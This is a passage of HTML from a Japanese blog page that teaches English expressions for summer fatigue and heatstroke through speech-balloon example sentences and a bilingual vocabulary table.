<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>experience</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を経験する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>heat alert</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">暑さに関する警報</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>make sure to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">必ず～する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 14px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>step off</strong></td>
<td style="width: 62.9762%; height: 14px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">～から降りる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stove</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">コンロ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>desert</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">砂漠</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>green</strong></td>
<td style="width: 62.9762%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">植物</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>tough</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">厳しい、耐えられない</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>refers to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を意味する、〜を指す</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:48px;height:auto"/></figure>



<h2 class="wp-block-heading">夏の体調不良・熱中症の英語表現<br>(Summer Health Issues &amp; Heatstroke Vocabulary)</h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="381" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE.jpg?resize=678%2C381&#038;ssl=1" alt="" class="wp-image-4486" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE-scaled.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE-scaled.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE-scaled.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE-scaled.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE-scaled.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE-scaled.jpg?resize=678%2C381&amp;ssl=1 678w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/117BFD40-8BB0-4036-89C6-BF97D988EDAE-scaled.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>猛暑で体調を崩す人も多い日本の夏。「夏バテ」をはじめとする夏の体調不良を英語で伝えてみよう。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e5fee7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e5fee7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m feeling summer fatigue./<br>The crazy summer heat makes me tired./<br>I get run-down from the summer heat./<br>This summer heat is killing me./<br>I feel dull because of the summer heat./<br>It’s too hot, so I have no energy.</strong><br>夏バテかも</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e4fef4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e4fef4"></span><span class="vk_balloon_content_after "></span>
<p><strong>The summer heat makes me exhausted easily.</strong><br>夏の暑さで疲れてる</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Even for us, the summer heat is harsh.</strong><br>我々にも夏の暑さはきついよねー</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f1e2ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f1e2ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Because of the summer heat, I can’t get my energy back.</strong><br>夏の暑さのせいで疲れが取れないの</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/pomeranian-1-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e2f4ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e2f4ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I have no appetite because of the summer heat./<br>The heat this summer makes me lose my appetite.</strong><br>夏の暑さのせいで食欲がありません</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s too hard to go to sleep because of the muggy night./<br>It’s hot and sultry every night, and I can’t sleep well.</strong><br>暑くてよく眠れません</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedf1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffedf1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This heat is causing me a headache.</strong><br>暑すぎて頭が痛いです</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe8d8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe8d8"></span><span class="vk_balloon_content_after "></span>
<p><strong>I feel nauseous because of the heat this summer.</strong><br>この暑さのせいで吐き気がします</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-think vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/9012464-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color" style="background:#fbfbfb"><span class="vk_balloon_content_before  has-text-color has-cyan-bluish-gray-color" style="border-color:transparent #fbfbfb transparent transparent"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>I think I get heat stroke.</strong><br>熱中症かも</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f6d8df"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f6d8df"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’ve got a sunstroke.</strong><br>日射病になっちゃった！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_bobtay_people_woman_teenager_avatar_smiley-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fdf3d9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fdf3d9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I feel dizzy because of the sun heat.</strong><br>暑くて立ち眩みがします</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_man_afro_african_avatar_male_teenager-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dcf9ee"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #dcf9ee"></span><span class="vk_balloon_content_after "></span>
<p><strong>Because of the heat stroke, I have diarrhea.</strong><br>夏の暑さのせいか下痢便秘気味です</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#cdedff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #cdedff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>WBGT is a heat index recommended by Japan’s Ministry of the Environment for preventing heatstroke. It considers humidity, radiant heat, and air temperature.</strong><br>暑さ指数って環境省が熱中症予防のために推奨する指数なんだ。湿度、輻射熱、気温を考慮して導き出すんだよhttps://www.jma.go.jp/jma/indexe.html</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#faebe0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #faebe0"></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s important to stay hydrated.</strong><br>水分補給をすることは大切だよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>For dehydration, take a lick of salt and drink lots of water.</strong><br>脱水症状には少し塩を舐めてたくさん水を飲んで</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>We should prepare for summer fatigue by eating and sleeping well.</strong><br>夏バテに備えて身体に良いものを食べてよく寝ましょう</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f8e1e7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f8e1e7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>If you eat only cold foods, your body will get cold. That’s not good for you.</strong><br>冷たいものばかり食べるのは身体が冷えるからによくないよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>17 people have collapsed in the heat today.</strong><br>17人が熱中症で倒れたんだって</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>


<table style="height: 419px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 22px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 22px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>summer fatigue</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">夏バテ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>dull</strong></td>
<td style="width: 62.9762%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">体がだるい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get run-down</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">体調が悪くなる、疲れ果てる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 15px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be exhausted</strong></td>
<td style="width: 62.9762%; height: 15px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">消耗した、疲れ果てる。 <strong>be tired</strong>よりさらに疲労が溜まった状態</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>appetite</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">食欲</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>lose appetite</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">食欲を失う</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>headache</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">頭痛</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>feel nauseous</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">吐き気がする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>heat stroke</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">熱中症</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sunstroke</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日射病</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 30px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>feel dizzy/</strong><br /><strong>aint/</strong><br /><strong>light-headed</strong></td>
<td style="width: 62.9762%; height: 30px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">立ち眩み、めまい、クラクラする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>diarrhea</strong></td>
<td style="width: 62.9762%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">下痢</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>dehydration</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">脱水症状</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>collapse</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">倒れる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Wet Bulb Globe Temperature (WBGT)</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">暑さ指数</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the Ministry of the Environment </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">環境省</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>humidity</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">湿度</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>radiant heat</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">輻射熱</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>air temperature</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">気温</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:231px;height:auto"/></figure>



<p><br></p>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" 